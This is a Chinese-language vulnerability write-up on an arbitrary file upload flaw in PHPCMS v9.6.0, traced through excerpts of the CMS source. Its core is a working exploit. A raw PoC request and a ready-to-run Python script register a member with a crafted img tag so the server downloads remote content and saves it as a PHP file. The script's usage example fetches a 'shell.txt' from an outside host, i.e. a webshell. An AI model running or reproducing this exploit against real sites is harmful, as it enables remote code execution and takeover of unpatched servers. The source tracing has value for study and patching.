PHPCMS_V9.6.0任意文件上传漏洞分析

#poc
siteid=1&modelid=11&username=Tao&password=123456&email=Tao@qq.com&info[content]=<img src=http://www.tao.com/t.txt?.php#.jpg>&dosubmit=1&protocol=
# http://www.tao.com/t.txt显示的内容为你要上传的文件内容

'''
version: python3
Author: Tao
'''
import requests
import re
import random
import sys

def anyfile_up(surl,url):
    url = "{}/index.php?m=member&c=index&a=register&siteid=1".format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': 'Tao{}'.format(random.randint(1,9999)),
        'password': '123456',
        'email': 'Tao{}@xxx.com'.format(random.randint(1,9999)),
        'info[content]': '<img src={}?.php#.jpg>'.format(surl),
        'dosubmit': '1',
        'protocol': ''
    }
    r = requests.post(url, data=data)
    return_url = re.findall(r'img src=(.*)&gt',r.text)
    if len(return_url):
        return return_url[0]
if __name__ == '__main__':
    if len(sys.argv) == 3:
        return_url = anyfile_up(sys.argv[1],sys.argv[2])
        print('seccess! upload file url: ', return_url)
    else:
        message = \
        """
        python3 anyfile_up.py [上传内容URL地址] [目标URL]
        example: python3 anyfile_up.py http://www.tao.com/shell.txt http://www.phpcms96.com
        """
        print(message)

// 61-79
$userinfo = array();
$userinfo['encrypt'] = create_randomstr(6);

$userinfo['username'] = (isset($_POST['username']) && is_username($_POST['username'])) ? $_POST['username'] : exit('0');
$userinfo['nickname'] = (isset($_POST['nickname']) && is_username($_POST['nickname'])) ? $_POST['nickname'] : '';

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');
$userinfo['password'] = (isset($_POST['password']) && is_badword($_POST['password'])==false) ? $_POST['password'] : exit('0');

$userinfo['email'] = (isset($_POST['email']) && is_email($_POST['email'])) ? $_POST['email'] : exit('0');

$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
$userinfo['regip'] = ip();
$userinfo['point'] = $member_setting['defualtpoint'] ? $member_setting['defualtpoint'] : 0;
$userinfo['amount'] = $member_setting['defualtamount'] ? $member_setting['defualtamount'] : 0;
$userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
$userinfo['siteid'] = $siteid;
$userinfo['connectid'] = isset($_SESSION['connectid']) ? $_SESSION['connectid'] : '';
$userinfo['from'] = isset($_SESSION['from']) ? $_SESSION['from'] : '';

if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);     
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);  // 135行，重点

$info[$field] = $value;
return $info;

INSERT INTO `phpcmsv96`.`v9_member_detail`(`birthday`,`userid`) VALUES ('2021-03-13'php,'26')

function getcache($name, $filepath='', $type='file', $config='') {
    if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
    if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
    pc_base::load_sys_class('cache_factory','',0);
    if($config) {
        $cacheconfig = pc_base::load_config('cache');
        $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
    } else {
        $cache = cache_factory::get_instance()->get_cache($type);
}
    return $cache->get($name, '', '', $filepath);
}

// phpcms/libs/classes/cache_factory.class.php 53行处
    protected $cache_list = array();
    public function get_cache($cache_name) {
        if(!isset($this->cache_list[$cache_name]) || !is_object($this->cache_list[$cache_name])) {
            $this->cache_list[$cache_name] = $this->load($cache_name);
        }
        return $this->cache_list[$cache_name];
}

$this->cache_list[$cache_name] = $this->load($cache_name);

public function load($cache_name) {
        $object = null;
        if(isset($this->cache_config[$cache_name]['type'])) {
            switch($this->cache_config[$cache_name]['type']) {
                case 'file' :
                    $object = pc_base::load_sys_class('cache_file');
                    break;
                case 'memcache' :
                    define('MEMCACHE_HOST', $this->cache_config[$cache_name]['hostname']);
                    define('MEMCACHE_PORT', $this->cache_config[$cache_name]['port']);

    public static function my_path($filepath) {
        $path = pathinfo($filepath);
        if (file_exists($path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'])) {
            return $path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'];
            // 没有 my_cache_file.class.php
        } else {
            return false;
        }
}

$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

INSERT INTO `phpcmsv96`.`v9_member_detail`(`content`,`userid`) VALUES ('<img src=http://www.phpcms96.com/uploadfile/2021/0314/20210314103307168.php>','25')